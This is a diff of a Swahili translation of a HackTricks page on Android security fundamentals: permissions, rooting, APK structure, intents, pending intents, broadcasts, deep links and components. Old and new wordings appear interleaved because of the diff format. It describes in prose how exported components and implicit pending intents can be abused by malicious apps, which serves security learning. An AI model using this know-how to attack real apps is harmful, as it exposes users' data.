Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Kundi la Usalama wa Jaribio la Bidhaa**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Mfano wa Usalama wa Android
|
||||
|
||||
**Kuna tabaka mbili:**
|
||||
|
||||
* **OS**, ambayo inashikilia maombi yaliyowekwa mbali na kila mmoja.
|
||||
* **maombi yenyewe**, ambayo inaruhusu waendelezaji **kuweka wazi kazi fulani** na kuunda uwezo wa maombi.
|
||||
* **OS**, ambayo inashikilia programu zilizowekwa mbali na kila mmoja.
|
||||
* **programu yenyewe**, ambayo inaruhusu waendelezaji **kufichua kazi fulani** na kuunda uwezo wa programu.
|
||||
|
||||
### Kutenganisha UID
|
||||
|
||||
**Kila ombi linapewa Kitambulisho Maalum cha Mtumiaji**. Hii inafanywa wakati wa usakinishaji wa ombi ili **ombile linaweza kuingiliana tu na faili zinazomilikiwa na Kitambulisho chake cha Mtumiaji au faili zilizoshirikiwa**. Hivyo, ni ombi lenyewe tu, vipengele fulani vya OS na mtumiaji wa root wanaweza kufikia data za maombi.
|
||||
**Kila programu inapewa Kitambulisho Maalum cha Mtumiaji**. Hii inafanywa wakati wa usakinishaji wa programu ili **programu iweze kuingiliana tu na faili zinazomilikiwa na Kitambulisho chake cha Mtumiaji au faili zilizoshirikiwa**. Kwa hivyo, ni programu yenyewe tu, sehemu fulani za OS na mtumiaji wa root wanaweza kufikia data za programu.
|
||||
|
||||
### Kushiriki UID
|
||||
|
||||
**Maombi mawili yanaweza kuwekewa mipangilio kutumia UID sawa**. Hii inaweza kuwa na manufaa kushiriki habari, lakini ikiwa moja yao itashambuliwa, data za maombi yote mawili zitakuwa hatarini. Hii ndiyo sababu tabia hii inashauriwa **kuepukwa**.\
|
||||
**Ili kushiriki UID sawa, maombi lazima yainishe thamani sawa ya `android:sharedUserId` katika hati zao.**
|
||||
**Programu mbili zinaweza kuwekewa mipangilio kutumia UID sawa**. Hii inaweza kuwa na manufaa kushiriki habari, lakini ikiwa moja yao itashambuliwa, data za programu zote mbili zitakuwa hatarini. Hii ndiyo sababu tabia hii inashauriwa **kuepukwa**.\
|
||||
**Ili kushiriki UID sawa, programu lazima zifanye maelezo sawa ya `android:sharedUserId` katika hati zao.**
|
||||
|
||||
### Sandboxing
|
||||
|
||||
**Android Application Sandbox** inaruhusu kuendesha **kila ombi** kama **mchakato tofauti chini ya Kitambulisho cha Mtumiaji tofauti**. Kila mchakato una mashine yake ya virtual, hivyo msimbo wa ombi unakimbia kwa kujitenga na maombi mengine.\
|
||||
**Android Application Sandbox** inaruhusu kuendesha **kila programu** kama **mchakato tofauti chini ya Kitambulisho tofauti cha mtumiaji**. Kila mchakato una mashine yake ya virtual, hivyo msimbo wa programu unafanya kazi kwa kujitenga na programu nyingine.\
|
||||
Kuanzia Android 5.0(L) **SELinux** inatekelezwa. Kimsingi, SELinux ilikataa mwingiliano wote wa mchakato na kisha kuunda sera za **kuruhusu tu mwingiliano unaotarajiwa kati yao**.
|
||||
|
||||
### Ruhusa
|
||||
|
||||
Wakati unaposakinisha **ombile na linaomba ruhusa**, ombi linaomba ruhusa zilizowekwa katika vipengele vya **`uses-permission`** katika faili ya **AndroidManifest.xml**. Kipengele cha **uses-permission** kinaonyesha jina la ruhusa inayohitajika ndani ya **attribute ya jina**. Pia ina **maxSdkVersion** attribute ambayo inakomesha kuomba ruhusa kwenye toleo lililo juu ya lile lililotajwa.\
|
||||
Kumbuka kwamba maombi ya android hayahitaji kuomba ruhusa zote mwanzoni, yanaweza pia **kuomba ruhusa kwa njia ya kidijitali** lakini ruhusa zote lazima **zitangazwe** katika **manifest**.
|
||||
Wakati unaposakinisha **programu na inahitaji ruhusa**, programu inahitaji ruhusa zilizowekwa katika **`uses-permission`** vipengele katika **AndroidManifest.xml** faili. Kipengele cha **uses-permission** kinaonyesha jina la ruhusa inayohitajika ndani ya **attribute** **name**. Pia ina **maxSdkVersion** attribute ambayo inakomesha kuomba ruhusa kwenye toleo lililo juu ya lile lililotajwa.\
|
||||
Kumbuka kwamba programu za android hazihitaji kuomba ruhusa zote mwanzoni, zinaweza pia **kuomba ruhusa kwa njia ya kidinamik** lakini ruhusa zote lazima **zitangazwe** katika **manifest**.
|
||||
|
||||
Wakati ombi linapoweka wazi kazi, linaweza kupunguza **ufikiaji kwa maombi tu ambayo yana ruhusa maalum**.\
|
||||
Wakati programu inafichua kazi inaweza kupunguza **ufikiaji kwa programu tu ambazo zina ruhusa maalum**.\
|
||||
Kipengele cha ruhusa kina attributes tatu:
|
||||
|
||||
* **jina** la ruhusa
|
||||
* **attribute ya kundi la ruhusa**, ambayo inaruhusu kuunganisha ruhusa zinazohusiana.
|
||||
* **kiwango cha ulinzi** ambacho kinaonyesha jinsi ruhusa zinavyotolewa. Kuna aina nne:
|
||||
* **Kawaida**: Inatumika wakati hakuna **hatari zinazojulikana** kwa ombi. Mtumiaji **huhitajika kuidhinisha**.
|
||||
* **Hatari**: Inaonyesha ruhusa inatoa ombi linalohitaji ufikiaji **wa juu**. **Watumiaji wanahitajika kuidhinisha**.
|
||||
* **Sahihi**: Ni **maombi tu yaliyosainiwa na cheti sawa na kile** kinachosafirisha kipengele yanaweza kupewa ruhusa. Hii ndiyo aina yenye nguvu zaidi ya ulinzi.
|
||||
* **SahihiAuMfumo**: Ni **maombi tu yaliyosainiwa na cheti sawa na kile** kinachosafirisha kipengele au **maombi yanayoendesha kwa ufikiaji wa kiwango cha mfumo** yanaweza kupewa ruhusa.
|
||||
* **permission-group** attribute, ambayo inaruhusu kuunganisha ruhusa zinazohusiana.
|
||||
* **protection-level** ambayo inaonyesha jinsi ruhusa zinavyotolewa. Kuna aina nne:
|
||||
* **Normal**: Inatumika wakati hakuna **hatari zinazojulikana** kwa programu. Mtumiaji **huhitajika kuidhinisha**.
|
||||
* **Dangerous**: Inaonyesha ruhusa inatoa programu inayohitaji ufikiaji **wa juu**. **Watumiaji wanahitajika kuidhinisha**.
|
||||
* **Signature**: Ni **programu tu zilizotiwa saini na cheti sawa na ile** inayosambaza kipengee zinaweza kupewa ruhusa. Hii ndiyo aina yenye nguvu zaidi ya ulinzi.
|
||||
* **SignatureOrSystem**: Ni **programu tu zilizotiwa saini na cheti sawa na ile** inayosambaza kipengee au **programu zinazofanya kazi na ufikiaji wa kiwango cha mfumo** zinaweza kupewa ruhusa.
|
||||
|
||||
## Maombi Yaliyosakinishwa Kabla
|
||||
## Programu Zilizowekwa Kabla
|
||||
|
||||
Maombi haya kwa ujumla hupatikana katika **`/system/app`** au **`/system/priv-app`** directories na baadhi yao yame **boreshwa** (huenda usipate hata faili ya `classes.dex`). Maombi haya yanastahili kuangaliwa kwa sababu wakati mwingine yanaweza kuwa **yanakimbia na ruhusa nyingi sana** (kama root).
|
||||
Programu hizi kwa ujumla hupatikana katika **`/system/app`** au **`/system/priv-app`** directories na baadhi yao zime **boreshwa** (huenda usipate hata faili ya `classes.dex`). Programu hizi zina thamani ya kuangaliwa kwa sababu wakati mwingine zinakuwa **zinakimbia na ruhusa nyingi sana** (kama root).
|
||||
|
||||
* Yaliyotolewa na **AOSP** (Mradi wa Msource wa Android) **ROM**
|
||||
* Yaliyoongezwa na **mtengenezaji wa kifaa**
|
||||
* Yaliyoongezwa na **mtoa huduma wa simu** (ikiwa imenunuliwa kutoka kwao)
|
||||
* Zile zinazokuja na **AOSP** (Android OpenSource Project) **ROM**
|
||||
* Zilizoongezwa na **mtengenezaji wa kifaa**
|
||||
* Zilizoongezwa na **mtoa huduma wa simu** (ikiwa imenunuliwa kutoka kwao)
|
||||
|
||||
## Rooting
|
||||
|
||||
Ili kupata ufikiaji wa root kwenye kifaa halisi cha android kwa ujumla unahitaji **kufanya matumizi** ya udhaifu 1 au 2 ambayo huwa **maalum** kwa **kifaa** na **toleo**.\
|
||||
Mara tu udhaifu umefanikiwa, kwa kawaida faili ya `su` ya Linux inakopishwa kwenye eneo lililotajwa katika mabadiliko ya mazingira ya mtumiaji kama `/system/xbin`.
|
||||
Ili kupata ufikiaji wa root kwenye kifaa halisi cha android kwa ujumla unahitaji **kufanya exploit** 1 au 2 **vulnerabilities** ambazo huwa **maalum** kwa **kifaa** na **toleo**.\
|
||||
Mara tu exploit inapofanya kazi, kwa kawaida `su` binary ya Linux inakopishwa kwenye eneo lililotajwa katika PATH env variable ya mtumiaji kama `/system/xbin`.
|
||||
|
||||
Mara tu faili ya su inapoanzishwa, ombi lingine la Android linatumika kuungana na faili ya `su` na **kusindika maombi ya ufikiaji wa root** kama **Superuser** na **SuperSU** (inapatikana kwenye duka la Google Play).
|
||||
Mara tu binary ya su inapokuwa imewekwa, programu nyingine ya Android inatumika kuwasiliana na binary ya `su` na **kusindika maombi ya ufikiaji wa root** kama **Superuser** na **SuperSU** (inapatikana kwenye Google Play store).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Kumbuka kwamba mchakato wa rooting ni hatari sana na unaweza kuharibu kifaa vibaya
|
||||
|
|
@ -81,68 +73,68 @@ Kumbuka kwamba mchakato wa rooting ni hatari sana na unaweza kuharibu kifaa viba
|
|||
|
||||
### ROMs
|
||||
|
||||
Inawezekana **kurekebisha OS kwa kusakinisha firmware maalum**. Kufanya hivi inawezekana kuongeza matumizi ya kifaa cha zamani, kupita vizuizi vya programu au kupata ufikiaji wa msimbo wa hivi karibuni wa Android.\
|
||||
Inawezekana **kuchukua nafasi ya OS kwa kusakinisha firmware maalum**. Kufanya hivi inawezekana kuongeza matumizi ya kifaa cha zamani, kupita vizuizi vya programu au kupata ufikiaji wa msimbo wa hivi karibuni wa Android.\
|
||||
**OmniROM** na **LineageOS** ni mbili ya firmware maarufu zaidi za kutumia.
|
||||
|
||||
Kumbuka kwamba **sio kila wakati ni lazima ku-root kifaa** ili kusakinisha firmware maalum. **Wakati wengine wa watengenezaji wanaruhusu** kufungua bootloaders zao kwa njia iliyoandikwa vizuri na salama.
|
||||
Kumbuka kwamba **sio kila wakati ni lazima ku-root kifaa** ili kusakinisha firmware maalum. **Wakati mwingine watengenezaji wanaruhusu** kufungua bootloaders zao kwa njia iliyoandikwa vizuri na salama.
|
||||
|
||||
### Matokeo
|
||||
|
||||
Mara kifaa kinapokuwa kime-rooted, ombi lolote linaweza kuomba ufikiaji kama root. Ikiwa ombi la uhalifu litapata ufikiaji huo, linaweza kuwa na ufikiaji wa karibu kila kitu na linaweza kuharibu simu.
|
||||
Mara kifaa kinapokuwa kime-rooted, programu yoyote inaweza kuomba ufikiaji kama root. Ikiwa programu mbaya inapata hiyo, inaweza kuwa na ufikiaji wa karibu kila kitu na itakuwa na uwezo wa kuharibu simu.
|
||||
|
||||
## Msingi wa Maombi ya Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
## Msingi wa Programu za Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
- Muundo wa maombi ya Android unajulikana kama _muundo wa faili ya APK_. Kimsingi ni **faili ya ZIP** (kwa kubadilisha kiambishi cha faili kuwa .zip, yaliyomo yanaweza kutolewa na kuangaliwa).
|
||||
- Yaliyomo ya APK (Siyo ya kina)
|
||||
- Muundo wa programu za Android unarejelewa kama _APK file format_. Kimsingi ni **ZIP file** (kwa kubadilisha kiendelezi cha faili kuwa .zip, maudhui yanaweza kutolewa na kuangaliwa).
|
||||
- Maudhui ya APK (Siyo ya kina)
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
- resources.arsc: ina rasilimali zilizotayarishwa mapema, kama XML ya binary.
|
||||
- res/xml/files\_paths.xml
|
||||
- META-INF/
|
||||
- Hapa ndipo Cheti lilipo!
|
||||
- Hapa ndipo Cheti kinapatikana!
|
||||
- **classes.dex**
|
||||
- Inashikilia bytecode ya Dalvik, inayoakisi msimbo wa Java (au Kotlin) uliotayarishwa ambao ombi linaendesha kwa default.
|
||||
- Inashikilia bytecode ya Dalvik, inawakilisha msimbo wa Java (au Kotlin) uliotayarishwa ambao programu inatekeleza kwa default.
|
||||
- lib/
|
||||
- Inashikilia maktaba za asili, zilizogawanywa kwa usanifu wa CPU katika saraka ndogo.
|
||||
- Inashikilia maktaba asilia, iliyogawanywa kwa usanifu wa CPU katika subdirectories.
|
||||
- `armeabi`: msimbo wa processors za msingi wa ARM
|
||||
- `armeabi-v7a`: msimbo wa processors za ARMv7 na juu
|
||||
- `armeabi-v7a`: msimbo wa processors za ARMv7 na za juu
|
||||
- `x86`: msimbo wa processors za X86
|
||||
- `mips`: msimbo wa processors za MIPS pekee
|
||||
- assets/
|
||||
- Inahifadhi faili mbalimbali zinazohitajika na ombi, huenda ikijumuisha maktaba za asili za ziada au faili za DEX, wakati mwingine hutumiwa na waandishi wa malware kuficha msimbo wa ziada.
|
||||
- Inahifadhi faili mbalimbali zinazohitajika na programu, huenda ikajumuisha maktaba za asilia au faili za DEX, wakati mwingine hutumiwa na waandishi wa malware kuficha msimbo wa ziada.
|
||||
- res/
|
||||
- Inashikilia rasilimali ambazo hazijakusanywa katika resources.arsc
|
||||
|
||||
### **Dalvik & Smali**
|
||||
|
||||
Katika maendeleo ya Android, **Java au Kotlin** inatumika kwa kuunda maombi. Badala ya kutumia JVM kama katika maombi ya desktop, Android inakusanya msimbo huu kuwa **Dalvik Executable (DEX) bytecode**. Awali, mashine ya virtual ya Dalvik ilishughulikia bytecode hii, lakini sasa, Android Runtime (ART) inachukua jukumu hilo katika matoleo mapya ya Android.
|
||||
Katika maendeleo ya Android, **Java au Kotlin** inatumika kwa kuunda programu. Badala ya kutumia JVM kama katika programu za desktop, Android inakusanya msimbo huu kuwa **Dalvik Executable (DEX) bytecode**. Awali, mashine ya virtual ya Dalvik ilishughulikia bytecode hii, lakini sasa, Android Runtime (ART) inachukua jukumu katika toleo jipya la Android.
|
||||
|
||||
Kwa ajili ya uhandisi wa nyuma, **Smali** inakuwa muhimu. Ni toleo linaloweza kusomeka na binadamu la bytecode ya DEX, likifanya kazi kama lugha ya mkusanyiko kwa kutafsiri msimbo wa chanzo kuwa maagizo ya bytecode. Smali na baksmali zinarejelea zana za mkusanyiko na uondoshaji katika muktadha huu.
|
||||
|
||||
## Intents
|
||||
|
||||
Intents ni njia kuu ambayo maombi ya Android yanawasiliana kati ya vipengele vyake au na maombi mengine. Hizi ni vitu vya ujumbe vinaweza pia kubeba data kati ya maombi au vipengele, sawa na jinsi maombi ya GET/POST yanavyotumika katika mawasiliano ya HTTP.
|
||||
Intents ni njia kuu ambayo programu za Android zinawasiliana kati ya vipengele vyake au na programu nyingine. Hizi ni vitu vya ujumbe vinaweza pia kubeba data kati ya programu au vipengele, sawa na jinsi GET/POST requests zinavyotumika katika mawasiliano ya HTTP.
|
||||
|
||||
Hivyo, Intent kimsingi ni **ujumbe unaopita kati ya vipengele**. Intents **zinaweza kuelekezwa** kwa vipengele au maombi maalum, **au zinaweza kutumwa bila mpokeaji maalum**.\
|
||||
Hivyo, Intent kimsingi ni **ujumbe unaopita kati ya vipengele**. Intents **zinaweza kuelekezwa** kwa vipengele au programu maalum, **au zinaweza kutumwa bila mpokeaji maalum**.\
|
||||
Ili kuwa rahisi, Intent inaweza kutumika:
|
||||
|
||||
* Kuanzisha Activity, kwa kawaida kufungua kiolesura cha mtumiaji kwa ombi
|
||||
* Kama matangazo ya kuarifu mfumo na maombi kuhusu mabadiliko
|
||||
* Kuanzisha Activity, kwa kawaida kufungua kiolesura cha mtumiaji kwa programu
|
||||
* Kama matangazo ya kuarifu mfumo na programu kuhusu mabadiliko
|
||||
* Kuanzisha, kusitisha, na kuwasiliana na huduma ya nyuma
|
||||
* Kupata data kupitia ContentProviders
|
||||
* Kama kurudi nyuma kushughulikia matukio
|
||||
* Kama callbacks kushughulikia matukio
|
||||
|
||||
Ikiwa kuna udhaifu, **Intents zinaweza kutumika kufanya mashambulizi mbalimbali**.
|
||||
Ikiwa ni hatari, **Intents zinaweza kutumika kufanya aina mbalimbali za mashambulizi**.
|
||||
|
||||
### Kichujio cha Intent
|
||||
### Intent-Filter
|
||||
|
||||
**Kichujio cha Intents** kinaelezea **jinsi shughuli, huduma, au Mpokeaji wa Matangazo unaweza kuingiliana na aina tofauti za Intents**. Kimsingi, zinaelezea uwezo wa vipengele hivi, kama vile ni vitendo gani wanaweza kufanya au aina gani za matangazo wanaweza kushughulikia. Mahali kuu pa kutangaza vichujio hivi ni ndani ya **faili ya AndroidManifest.xml**, ingawa kwa Mpokeaji wa Matangazo, kuandika ni chaguo pia.
|
||||
**Mifumo ya Intent** inaelezea **jinsi shughuli, huduma, au Mpokeaji wa Matangazo yanaweza kuingiliana na aina tofauti za Intents**. Kimsingi, zinaelezea uwezo wa vipengele hivi, kama vile ni hatua zipi wanaweza kuchukua au aina gani za matangazo wanaweza kushughulikia. Mahali kuu pa kutangaza mifumo hii ni ndani ya **faili ya AndroidManifest.xml**, ingawa kwa Mpokeaji wa Matangazo, kuandika hizo pia ni chaguo.
|
||||
|
||||
Vichujio vya Intents vinajumuisha makundi, vitendo, na vichujio vya data, huku kukiwa na uwezekano wa kujumuisha metadata ya ziada. Mpango huu unaruhusu vipengele kushughulikia Intents maalum zinazolingana na vigezo vilivyotangazwa.
|
||||
Mifumo ya Intent inajumuisha makundi, hatua, na vichujio vya data, huku ikiwa na uwezekano wa kujumuisha metadata ya ziada. Mpangilio huu unaruhusu vipengele kushughulikia Intents maalum zinazolingana na vigezo vilivyotangazwa.
|
||||
|
||||
Sehemu muhimu ya vipengele vya Android (shughuli/huduma/watoa maudhui/mpokeaji wa matangazo) ni mwonekano wao au **hadhi ya umma**. Kipengele kinachukuliwa kuwa cha umma na kinaweza kuingiliana na maombi mengine ikiwa kime **`exported`** na thamani ya **`true`** au ikiwa kichujio cha Intent kimewekwa kwa ajili yake katika hati. Hata hivyo, kuna njia kwa waendelezaji kuweka vipengele hivi kuwa binafsi, kuhakikisha havihusiani na maombi mengine bila kukusudia. Hii inafanywa kwa kuweka **`exported`** attribute kuwa **`false`** katika ufafanuzi wao wa hati.
|
||||
Sehemu muhimu ya vipengele vya Android (shughuli/huduma/watoa maudhui/mpokeaji wa matangazo) ni uonekano wao au **hadhi ya umma**. Kipengele kinachukuliwa kuwa cha umma na kinaweza kuingiliana na programu nyingine ikiwa kime **`exported`** na thamani ya **`true`** au ikiwa mfumo wa Intent umetangazwa kwa ajili yake katika hati. Hata hivyo, kuna njia kwa waendelezaji kuweka vipengele hivi kuwa binafsi, kuhakikisha havihusiani na programu nyingine bila kukusudia. Hii inafanywa kwa kuweka **`exported`** attribute kuwa **`false`** katika maelezo yao ya hati.
|
||||
|
||||
Zaidi ya hayo, waendelezaji wana chaguo la kuimarisha ufikiaji wa vipengele hivi zaidi kwa kuhitaji ruhusa maalum. **`permission`** attribute inaweza kuwekwa ili kuhakikisha kwamba ni maombi tu yenye ruhusa iliyotolewa yanaweza kufikia kipengele, kuongeza safu ya ziada ya usalama na udhibiti juu ya nani anaweza kuingiliana nayo.
|
||||
Zaidi ya hayo, waendelezaji wana chaguo la kuimarisha ufikiaji wa vipengele hivi zaidi kwa kuhitaji ruhusa maalum. **`permission`** attribute inaweza kuwekwa ili kuhakikisha kwamba ni programu tu zenye ruhusa iliyotengwa zinaweza kufikia kipengele, kuongeza safu ya ziada ya usalama na udhibiti juu ya nani anaweza kuingiliana nayo.
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
|
|
@ -183,32 +175,32 @@ context.startService(intent);
|
|||
```
|
||||
### Pending Intents
|
||||
|
||||
Hizi zinawaruhusu programu nyingine **kuchukua hatua kwa niaba ya programu yako**, wakitumia utambulisho na ruhusa za programu yako. Kujenga Pending Intent inapaswa **kueleza intent na hatua ya kutekeleza**. Ikiwa **intent iliyotangazwa si ya Moja kwa Moja** (haijatangaza ni intent ipi inayoweza kuitwa) programu **mbaya inaweza kutekeleza hatua iliyotangazwa** kwa niaba ya programu ya mwathirika. Zaidi ya hayo, **ikiwa hatua haijatangazwa**, programu mbaya itakuwa na uwezo wa kufanya **hatua yoyote kwa niaba ya mwathirika**.
|
||||
Hizi zinawaruhusu programu nyingine **kuchukua hatua kwa niaba ya programu yako**, wakitumia utambulisho na ruhusa za programu yako. Kujenga Pending Intent inapaswa **kuelezwa intent na hatua ya kutekeleza**. Ikiwa **intent iliyotangazwa si ya Moja kwa Moja** (haijatangaza ni intent ipi inaweza kuitwa) programu **mbaya inaweza kutekeleza hatua iliyotangazwa** kwa niaba ya programu ya mwathirika. Zaidi ya hayo, **ikiwa hatua haijatangazwa**, programu mbaya itakuwa na uwezo wa kufanya **hatua yoyote kwa niaba ya mwathirika**.
|
||||
|
||||
### Broadcast Intents
|
||||
|
||||
Tofauti na intents za awali, ambazo zinapokelewa na programu moja tu, broadcast intents **zinaweza kupokelewa na programu nyingi**. Hata hivyo, kuanzia toleo la API 14, ni **mpossible kuweka programu ambayo inapaswa kupokea** ujumbe kwa kutumia Intent.setPackage.
|
||||
|
||||
Vinginevyo, pia inawezekana **kueleza ruhusa wakati wa kutuma matangazo**. Programu ya mpokeaji itahitaji kuwa na ruhusa hiyo.
|
||||
Vinginevyo, pia inawezekana **kueleza ruhusa wakati wa kutuma broadcast**. Programu ya mpokeaji itahitaji kuwa na ruhusa hiyo.
|
||||
|
||||
Kuna **aina mbili** za Matangazo: **Kawaida** (asynchronous) na **Iliyopangwa** (synchronous). **Agizo** linategemea **kipaumbele kilichowekwa ndani ya kipengele cha mpokeaji**. **Kila programu inaweza kushughulikia, kupeleka au kuacha Matangazo.**
|
||||
Kuna **aina mbili** za Broadcasts: **Kawaida** (asynchronous) na **Iliyopangwa** (synchronous). **Mpangilio** unategemea **kipaumbele kilichowekwa ndani ya mpokeaji** kipengele. **Kila programu inaweza kushughulikia, kupeleka au kuacha Broadcast.**
|
||||
|
||||
Inawezekana **kutuma** **matangazo** kwa kutumia kazi `sendBroadcast(intent, receiverPermission)` kutoka darasa la `Context`.\
|
||||
Unaweza pia kutumia kazi **`sendBroadcast`** kutoka **`LocalBroadCastManager`** inahakikisha **ujumbe hauondoki kwenye programu**. Kwa kutumia hii hutahitaji hata kusafirisha kipengele cha mpokeaji.
|
||||
Inawezekana **kutuma** **broadcast** kwa kutumia kazi `sendBroadcast(intent, receiverPermission)` kutoka kwa darasa la `Context`.\
|
||||
Unaweza pia kutumia kazi **`sendBroadcast`** kutoka kwa **`LocalBroadCastManager`** inahakikisha **ujumbe hauondoki kwenye programu**. Kwa kutumia hii hutahitaji hata kusafirisha kipengele cha mpokeaji.
|
||||
|
||||
### Sticky Broadcasts
|
||||
|
||||
Aina hii ya Matangazo **inaweza kufikiwa muda mrefu baada ya kutumwa**.\
|
||||
Aina hii ya Broadcasts **inaweza kufikiwa muda mrefu baada ya kutumwa**.\
|
||||
Hizi ziliondolewa katika kiwango cha API 21 na inashauriwa **usizitumie**.\
|
||||
**Zinawaruhusu programu yoyote kunusa data, lakini pia kuibadilisha.**
|
||||
|
||||
Ikiwa unapata kazi zenye neno "sticky" kama **`sendStickyBroadcast`** au **`sendStickyBroadcastAsUser`**, **angalia athari na jaribu kuziondoa**.
|
||||
Ikiwa unapata kazi zinazojumuisha neno "sticky" kama **`sendStickyBroadcast`** au **`sendStickyBroadcastAsUser`**, **angalia athari na jaribu kuondoa hizo**.
|
||||
|
||||
## Deep links / URL schemes
|
||||
|
||||
Katika programu za Android, **deep links** zinatumika kuanzisha hatua (Intent) moja kwa moja kupitia URL. Hii inafanywa kwa kutangaza **mpango maalum wa URL** ndani ya shughuli. Wakati kifaa cha Android kinapojaribu **kufikia URL yenye mpango huu**, shughuli iliyotangazwa ndani ya programu inazinduliwa.
|
||||
Katika programu za Android, **deep links** zinatumika kuanzisha hatua (Intent) moja kwa moja kupitia URL. Hii inafanywa kwa kutangaza **URL scheme** maalum ndani ya shughuli. Wakati kifaa cha Android kinapojaribu **kufikia URL yenye scheme hii**, shughuli iliyotangazwa ndani ya programu inazinduliwa.
|
||||
|
||||
Mpango lazima utangazwe katika faili ya **`AndroidManifest.xml`**:
|
||||
Scheme lazima itangazwe katika **`AndroidManifest.xml`** faili:
|
||||
```xml
|
||||
[...]
|
||||
<activity android:name=".MyActivity">
|
||||
|
|
@ -239,7 +231,7 @@ Jifunze jinsi ya [kuita deep links bila kutumia kurasa za HTML](./#exploiting-sc
|
|||
|
||||
## AIDL - Android Interface Definition Language
|
||||
|
||||
**Android Interface Definition Language (AIDL)** imeundwa ili kuwezesha mawasiliano kati ya mteja na huduma katika programu za Android kupitia **mawasiliano kati ya michakato** (IPC). Kwa kuwa upatikanaji wa kumbukumbu ya mchakato mwingine moja kwa moja haukubaliwi kwenye Android, AIDL inarahisisha mchakato kwa kuhamasisha vitu katika muundo unaoeleweka na mfumo wa uendeshaji, hivyo kurahisisha mawasiliano kati ya michakato tofauti.
|
||||
**Android Interface Definition Language (AIDL)** imeundwa ili kuwezesha mawasiliano kati ya mteja na huduma katika programu za Android kupitia **mawasiliano kati ya michakato** (IPC). Kwa kuwa upatikanaji wa kumbukumbu ya mchakato mwingine moja kwa moja haukubaliki kwenye Android, AIDL inarahisisha mchakato kwa kuhamasisha vitu katika muundo unaoeleweka na mfumo wa uendeshaji, hivyo kurahisisha mawasiliano kati ya michakato tofauti.
|
||||
|
||||
### Mifano Muhimu
|
||||
|
||||
|
|
@ -276,9 +268,9 @@ Hata hivyo, kufikia shughuli kutoka programu nyingine si hatari ya usalama kila
|
|||
|
||||
Mzunguko wa maisha wa shughuli **uanza na njia ya onCreate**, kuandaa UI na kuandaa shughuli kwa mwingiliano na mtumiaji.
|
||||
|
||||
### Subclass ya Programu
|
||||
### Aina ya Programu
|
||||
|
||||
Katika maendeleo ya Android, programu ina chaguo la kuunda **subclass** ya [Application](https://developer.android.com/reference/android/app/Application) darasa, ingawa si lazima. Wakati subclass kama hiyo imefafanuliwa, inakuwa darasa la kwanza kuanzishwa ndani ya programu. Njia ya **`attachBaseContext`**, ikiwa imeanzishwa katika subclass hii, inatekelezwa kabla ya njia ya **`onCreate`**. Mpangilio huu unaruhusu kuanzishwa mapema kabla ya sehemu nyingine ya programu kuanza.
|
||||
Katika maendeleo ya Android, programu ina chaguo la kuunda **aina** ya [Application](https://developer.android.com/reference/android/app/Application) darasa, ingawa si lazima. Wakati aina kama hiyo imefafanuliwa, inakuwa darasa la kwanza kuanzishwa ndani ya programu. Njia ya **`attachBaseContext`**, ikiwa imeanzishwa katika aina hii, inatekelezwa kabla ya njia ya **`onCreate`**. Mpangilio huu unaruhusu kuanzishwa mapema kabla ya sehemu nyingine ya programu kuanza.
|
||||
```java
|
||||
public class MyApp extends Application {
|
||||
@Override
|
||||
|
|
@ -312,13 +304,13 @@ Matumizi ya kuvutia ya huduma ni pamoja na upigaji muziki wa nyuma au upataji wa
|
|||
|
||||
Matangazo yanaweza kuwa **asynchronous**, yakifika kwa wapokeaji wote bila mpangilio, au **synchronous**, ambapo wapokeaji wanapata matangazo kulingana na vipaumbele vilivyowekwa. Hata hivyo, ni muhimu kutambua hatari ya usalama, kwani programu yoyote inaweza kujipa kipaumbele ili kukamata tangazo.
|
||||
|
||||
Ili kuelewa kazi ya mpokeaji, angalia njia ya **`onReceive`** ndani ya darasa lake. Msimbo wa njia hii unaweza kubadilisha Intent iliyopokelewa, ikionyesha umuhimu wa uthibitisho wa data na wapokeaji, hasa katika **Ordered Broadcasts**, ambazo zinaweza kubadilisha au kuacha Intent.
|
||||
Ili kuelewa kazi ya mpokeaji, angalia njia ya **`onReceive`** ndani ya darasa lake. Msimbo wa njia hii unaweza kubadilisha Intent iliyopokelewa, ikionyesha umuhimu wa uthibitishaji wa data na wapokeaji, hasa katika **Ordered Broadcasts**, ambazo zinaweza kubadilisha au kuacha Intent.
|
||||
|
||||
### Content Provider
|
||||
|
||||
